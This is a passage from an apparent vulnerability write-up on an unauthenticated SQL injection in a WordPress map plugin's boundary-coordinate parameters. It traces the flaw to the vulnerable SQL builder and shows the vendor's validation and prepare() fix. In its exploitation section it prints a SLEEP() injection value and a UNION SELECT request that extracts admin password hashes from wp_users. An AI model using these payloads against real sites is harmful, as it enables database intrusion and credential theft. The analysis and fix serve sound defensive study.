            &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'address'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'address'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'sortby'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'orderby'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'sortby'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;parse_str()&lt;/code&gt; turns every key in the query string into an array key. Append &lt;code&gt;?swlatlng=whatever&amp;amp;nelatlng=whatever&lt;/code&gt; to the URL and &lt;code&gt;$output['swlatlng']&lt;/code&gt; / &lt;code&gt;$output['nelatlng']&lt;/code&gt; contain exactly that string. There's no allow-list of expected parameters and no type check anywhere in this function.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Passed straight into the search query args
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;plugins/posts-locator/includes/class-gmw-wp-query.php&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// search within map boundaries.&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_swlatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_nelatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nv"&gt;$where&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;gmw_get_locations_within_boundaries_sql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_swlatlng'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_nelatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// When address provided, and not filtering based on address fields, we will do proximity search.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;elseif&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$address_filters&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_address'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_lat'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'gmw_lng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This class extends &lt;code&gt;WP_Query&lt;/code&gt; to build the actual post listing shown on the page. If both boundary parameters are set, it hands them off to the function that builds the SQL fragment and appends it to the &lt;code&gt;WHERE&lt;/code&gt; clause. The same pattern shows up in &lt;code&gt;plugins/members-locator/includes/class-gmw-members-locator-form.php&lt;/code&gt;, so BuddyPress member search was affected too.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. The sink: string concatenation into SQL
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;includes/gmw-functions.php&lt;/code&gt; (pre-fix)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cd"&gt;/**
 * SQL to get locations within boundaries.
 *
 * @param  string $southwest southwest coords comma separated.
 * @param  string $northeast northeast coords comma separated.
 * @since 4.0.
 */&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;gmw_get_locations_within_boundaries_sql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$sw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;explode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$ne&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;explode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;" AND ( gmw_locations.latitude BETWEEN &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; AND &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; ) AND ( ( &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &amp;lt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; AND gmw_locations.longitude BETWEEN &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; AND &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; )
            OR ( &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; AND (gmw_locations.longitude BETWEEN &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$sw&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; AND 180 OR gmw_locations.longitude BETWEEN -180 AND &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$ne&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; ) ) )"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things stack up here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;explode(',', $southwest)&lt;/code&gt; splits &lt;code&gt;"37.5,-122.4"&lt;/code&gt; into an array — it says nothing about whether the pieces are actually numbers.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;$sw[0]&lt;/code&gt;, &lt;code&gt;$sw[1]&lt;/code&gt;, &lt;code&gt;$ne[0]&lt;/code&gt;, &lt;code&gt;$ne[1]&lt;/code&gt; are interpolated directly inside a double-quoted string via &lt;code&gt;{$var}&lt;/code&gt;. No &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;, no &lt;code&gt;esc_sql()&lt;/code&gt;, not even a &lt;code&gt;(float)&lt;/code&gt; cast.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So if &lt;code&gt;southwest&lt;/code&gt; is &lt;code&gt;0,0) OR SLEEP(5)-- -&lt;/code&gt;, &lt;code&gt;explode()&lt;/code&gt; gives &lt;code&gt;$sw[0] = "0"&lt;/code&gt; and &lt;code&gt;$sw[1] = "0) OR SLEEP(5)-- -"&lt;/code&gt;, and that second fragment lands verbatim inside the &lt;code&gt;BETWEEN&lt;/code&gt; clause. This isn't a value being swapped in wrong — it's the query's structure being handed to whoever controls the request.&lt;/p&gt;

&lt;h2&gt;
  
  
  What exploitation looks like
&lt;/h2&gt;

&lt;p&gt;A normal map interaction produces something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /?page_id=4&amp;amp;swlatlng=40.70,-74.02&amp;amp;nelatlng=40.75,-73.97
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker just replaces the coordinate with a SQL fragment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /?page_id=4&amp;amp;swlatlng=0,0)%20UNION%20SELECT%20user_login,user_pass,3,4,5%20FROM%20wp_users--%20-&amp;amp;nelatlng=1,1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;No login, no CSRF token, one GET request.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;SELECT&lt;/code&gt; against &lt;code&gt;gmw_locations&lt;/code&gt; can be turned into a &lt;code&gt;UNION SELECT&lt;/code&gt; pulling admin password hashes out of &lt;code&gt;wp_users&lt;/code&gt; (real exploitation needs matching column count/types to the original query, but nothing in this code path stops you from getting there).&lt;/li&gt;
&lt;li&gt;Time-based blind injection (&lt;code&gt;SLEEP()&lt;/code&gt;) works too if you want to exfiltrate data without a direct output channel.&lt;/li&gt;
&lt;li&gt;Unauthenticated + network vector + direct confidentiality/integrity impact is exactly why this scored 9.3.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The fix in 4.5.5.1
&lt;/h2&gt;

&lt;p&gt;The vendor closed this with two layers: validate the input, then parameterize the query.&lt;/p&gt;

&lt;h3&gt;
  
  
  Validation function
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cd"&gt;/**
 * Parse and validate a comma separated lat,lng pair.
 *
 * @param string $boundary comma separated lat,lng value.
 * @return array|false
 */&lt;/span&gt;
&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;gmw_parse_latlng_boundary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$boundary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$boundary&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$boundary&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$coords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;array_map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;'trim'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;explode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s1"&gt;','&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$boundary&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$coords&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_numeric&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_numeric&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nv"&gt;$lat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="nv"&gt;$lng&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;float&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_finite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$lat&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_finite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$lng&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$lat&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$lng&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;180&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$lat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$lng&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It checks that the comma-split value has exactly two pieces, that both are numeric, that they're finite floats, and that they fall inside valid latitude (±90) / longitude (±180) ranges. Any failure returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Rejected right at the entry point
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'swlatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nf"&gt;gmw_parse_latlng_boundary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'swlatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'swlatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nelatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nf"&gt;gmw_parse_latlng_boundary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nelatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nelatlng'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This runs inside &lt;code&gt;gmw_get_form_values()&lt;/code&gt;, right after the request is parsed. Anything that doesn't validate never makes it downstream to the query builder at all.&lt;/p&gt;

&lt;h3&gt;
  
  
  The SQL builder now uses &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;gmw_get_locations_within_boundaries_sql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$southwest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$northeast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

